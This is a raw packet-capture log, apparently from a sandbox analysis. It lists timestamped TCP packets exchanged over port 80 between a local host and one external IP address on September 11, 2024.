Sep 11, 2024 18:23:52.437258959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437267065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437271118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437275887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437279940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437283039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437289000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437292099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437297106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437304020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437308073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437311888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437316895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437318087 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437347889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437347889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437378883 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.437387943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437391996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437395096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.437473059 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.644639969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.644648075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.644651890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.645176888 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.646222115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646226883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646230936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646300077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646303892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646307945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646322966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646332026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646336079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646341085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646344900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.646385908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.646385908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.646547079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.657505035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.657512903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.657519102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.657524109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.657527924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.657533884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.657537937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.657588959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.657910109 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.658663034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658668995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658673048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658679008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658687115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658715963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658720016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658730984 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.658791065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658795118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658797979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658802032 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.658804893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658813953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658818007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658823013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658827066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658835888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658839941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658843040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658847094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658852100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.658895016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.658895016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.658895016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.701106071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.701112032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.701119900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.701186895 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.705575943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.705583096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.705586910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.705590963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.705909014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.705915928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.705919027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.705924034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.705934048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.706254959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.706254959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.710688114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.710695028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.710700035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.710783005 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.711215019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.711410999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.715636015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.715642929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.715646982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.715651989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.715656042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.715900898 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.716028929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.716037035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.716042042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.716047049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.716722965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.720535040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.720541954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.720546007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.720550060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.720560074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.720973015 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.720983028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.721044064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.721050978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.721071959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.721088886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.725769997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725776911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725781918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725785971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725796938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725800991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725805044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725810051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725815058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.725820065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.726804018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.726804018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.731719971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.731726885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.731729984 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.731796980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.736546040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736553907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736557961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736562014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736850977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736857891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736861944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736866951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736876011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.736881971 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.736928940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.736928940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.741766930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741775036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741779089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741784096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741796017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741801023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741806030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741902113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.741902113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.741959095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741966009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.741970062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.742227077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.746819019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746825933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746829033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746834040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746840954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746845007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746850014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746855974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746887922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.746915102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.746915102 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.747019053 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.751656055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.751676083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.751679897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.751684904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.751689911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.751908064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.841054916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.841061115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.841250896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.845567942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845575094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845578909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845582962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845774889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845781088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845784903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845788002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845798016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845802069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.845937967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.845937967 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.850555897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.850563049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.850567102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.850570917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.850581884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.850806952 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.850848913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.850856066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.850858927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.850863934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.851407051 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.855595112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855601072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855603933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855607986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855618000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855811119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855817080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855820894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855824947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.855834007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.856379986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.856379986 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.860595942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.860601902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.860605955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.860609055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.860619068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.860709906 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.861080885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.861087084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.861089945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.861093998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.861103058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.861224890 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.865475893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.865483999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.865487099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.865490913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.865592957 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.866163015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.866168976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.866172075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.866177082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.866662979 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.870348930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.870356083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.870358944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.870363951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.870373964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.870465040 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.871417046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.871423960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.871427059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.871431112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.871436119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.871572018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.871572018 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.875183105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.875189066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.875193119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.875196934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.875205994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.875406027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.876266956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.876272917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.876276970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.876281023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.876296997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.876394987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.880023956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880029917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880033016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880037069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880047083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880049944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880053997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880059004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880063057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880067110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880073071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880076885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.880151987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.880151987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.880151987 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.932358980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932363033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932368040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932372093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932393074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932395935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932399988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932404041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932408094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932609081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932612896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932616949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932621956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932631016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932636976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.932780027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.932780027 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.933005095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933008909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933012962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933159113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933162928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933166981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933171988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933175087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933177948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933183908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933187008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933187962 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.933192015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933197021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933199883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933204889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933221102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933223963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933228016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933233023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933255911 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.933299065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933303118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933306932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933311939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933320999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933326006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933393002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933397055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933398008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.933398008 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.933401108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933548927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.933548927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:52.933557987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933562994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933567047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933613062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933620930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933625937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:52.933629990 CEST	80	49710	104.21.14.133	192.168.2.5
